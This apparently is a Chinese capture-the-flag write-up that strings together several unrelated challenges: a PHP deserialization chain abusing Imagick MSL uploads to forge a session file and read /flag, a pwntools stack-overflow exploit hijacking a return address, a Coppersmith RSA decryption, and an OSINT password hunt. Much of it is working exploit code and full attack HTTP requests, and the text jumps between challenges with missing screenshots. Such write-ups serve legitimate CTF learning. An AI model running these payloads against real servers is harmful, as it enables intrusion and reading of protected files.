将饺替换成0,子替换成1,二进制转换字符串得到

下载附件,审计源码

题目开了imagick扩展

再审计源代码,一共有三个功能点:

  • 反序列化

  • 删除/tmp目录下的所有内容(这算是题目的提示了)

  • 高亮当前文件

再看题目给的后门类:

  • 其实这里sink点有两个,一个是readfile读取文件,另一个是new $a($b)格式的代码

  • 对于new $a($b)格式的代码,如果题目出网并且web目录可写的话,是可以直接RCE的,但是本题既不出网,web目录又不可写

  • 因此题目的sink点就在readfile了,那么如何触发__sleep()魔术方法呢,__sleep魔术方法会在序列化的时候被调用

所以整个攻击流程如下:

首先把/tmp目录清空:

GET /?cmd=rm HTTP/1.1
Host: 1.1.1.1:49338

再制作一个PPM图片,选择PPM的原因是PPM末尾允许添加一些脏数据,并且该脏数据也不会被imagick抹去

session的内容生成方式如下:

  • 这里我们设置path属性为/tmp/res路径,这个路径就是/flag复制之后的路径

  • 重点看16行,这里的脏数据的数量其实是有一定要求的,在第12行设置了PPM图片的长和宽,即9*9像素,这里的脏数据+序列化数据的数量需要大于等于3*9*9且小于等于4*9*9(这里3和4可以简单理解为每个像素所占用的字节),具体原理不深究了,这里就当做记个结论(如果有其他想法,可以随时私信讨论)

<?php 
class fumo_backdoor {
    public $path = null;
    public $argv = null;
    public $func = null;
    public $class = null;
}
$a = new fumo_backdoor();
$a->path = "/tmp/res"; // 复制后的flag路径

$ppmhead = "P6
9 9
255
" ;
$sdata = "|" . serialize($a);
$ppm = $ppmhead . str_repeat("\x00", 3 * 9 * 9 - strlen($sdata)) . $sdata;
// print($ppm);
print(base64_encode($ppm));
//UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czo4OiIvdG1wL3JlcyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30=

有关PPM格式示例文件规范如下(From ChatGPT):

接着触发fumo_backdoor的__wakeup魔术方法:

<?php 
class fumo_backdoor {
    public $path = null;
    public $argv = null;
    public $func = null;
    public $class = null;
}
$a = new fumo_backdoor();
$a->func = array();
$a->argv = "vid:msl:/tmp/php*";
$a->class = "imagick";
echo urlencode(serialize($a));
//O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3B%7D

完整的HTTP请求如下:

  • 简单理解就是:利用imagick把read那一串的base64解码后存到/tmp/sess_user中
POST /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3B%7D HTTP/1.1
Host: 1.1.1.1:49338
Content-Length: 697
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKqOZjSj0arlHgpur
Cookie: 

------WebKitFormBoundaryKqOZjSj0arlHgpur
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czo4OiIvdG1wL3JlcyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30="/>
<write filename="/tmp/sess_user"/>
</image>
------WebKitFormBoundaryKqOZjSj0arlHgpur--

接着利用Imagick的uyvy协议把/flag复制到/tmp/res中,选择uyvy协议的原因是该协议较为松散,当然用mvg协议也可以,这里推荐使用mvg协议,实测mvg协议可以完整的把/flag内容复制出来,而uyvy协议只能复制第5位开始的字符串(/flag内容如果为flag123123,复制到/tmp/res内容为123123

POST /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3B%7D HTTP/1.1
Host: 1.1.1.1:49338
Content-Length: 315
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKqOZjSj0arlHgpur

------WebKitFormBoundaryKqOZjSj0arlHgpur
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="mvg:/flag"/>
<write filename="/tmp/res"/>
</image>
------WebKitFormBoundaryKqOZjSj0arlHgpur--

接着再反序列化读取文件,这里利用session_start方法启动session,并传入PHPSESSID序列化我们前面传入的/tmp/sess_user内容,触发__sleep魔术方法进而读取文件:

<?php 
class fumo_backdoor {
    public $path = null;
    public $argv = null;
    public $func = null;
    public $class = null;
}
$a = new fumo_backdoor();
$a->func = "session_start";
$a->path = "/tmp/res";
echo urlencode(serialize($a));
//O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3Bs%3A5%3A%22class%22%3BN%3B%7D

完整的HTTP请求如下:

GET /?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3Bs%3A5%3A%22class%22%3BN%3B%7D HTTP/1.1
Host: 1.1.1.1:49338
Cookie: PHPSESSID=user

读取到flag文件里的内容如下

先把下载下来的文件拖入到ida里分析一下

进入func函数一探究竟

这边分析了一下程序,想要得到flag的话就要使v2=11.28125,只要使v2=11.28125那么程序就能cat flag。
接下来很简单了,既然你有cat flag这行代码。那我也没必要按照你程序走,我只要通过你的gets函数溢出然后覆盖返回地址为cat flag这条语句就行了。
查看v1距离rbp的位置

是0x30. 接下来编写exp就行了。
这是第一种办法比较简单暴力。
第二种办法是跟着程序的想法走,那么我们要使v2=11.28125那么我们要先找到v2的位置。
据我们所知v2位置为rbp-0x4,那么我们要覆盖v2的话就需要从v1距离rbp的位置减去v2距离rbp的位置就是我们实际要覆盖的地址了。也就是0x2c。
但是我们该往要覆盖的地址里填什么呢?总不能直接填11.28125吧?这里就要转换成十六进制才行。
十六进制的话那么我们进ida的汇编里看看在ida的汇编里11.28125是什么?

是0x41348000
看来ida里就有已经转换好的十六进制的11.28125了。
那接下来就可以编写exp了。

下面是exp

第一种:
from pwn import *

p = remote(‘ip’, port)

payload = b’a’ * 0x30 + b’a’ * 8 + p64(0x4006BE)

p.sendline(payload)
p.interactive()

第二种
from pwn import *

p = remote(‘ip’, port)

payload = b’a’ * (0x30 - 0x4) + p64(0x41348000)

p.sendline(payload)
p.interactive()

拿到flag文件后,可以看到有这些内容

经过分析python脚本的内容,可以知道是个加密,并且给了加密结果,下面就来尝试解密

考虑_m_=M+kr,则有

构造模多项式

CopperSmith求解即可

from Crypto.Util.number import *

from gmpy2 import *

r=...
M=...
n=...
e=...
c=...

c2 = powmod(M, 3, n)

a = int((c - c2)*invert(r, n)%n)
PR.<x> = PolynomialRing(Zmod(n))
f = x^3*r^2 + 3*x^2*r*M + 3*x*M^2 - a
f = f.monic()
roots = f.small_roots()

m = M+roots[0]*r
print(long_to_bytes(m))

解出结果为Wzg_yyd5。下载1.txt中的文件,是个压缩包,发现可以用解出结果打开,得到一个叫红包的文件。用010打开后发现其文件头是zip压缩包,所以直接重命名加个.zip,并且发现其内容是加密的

根据上面的flag内容,猜测应该是国外某个网站,尝试google无果

但提示有提到“死去的蓝色电子宠物”,同时又是国外,因此猜测是twitter

搜索后发现一个账号

在这条推文中就能发现最终的密码

最后~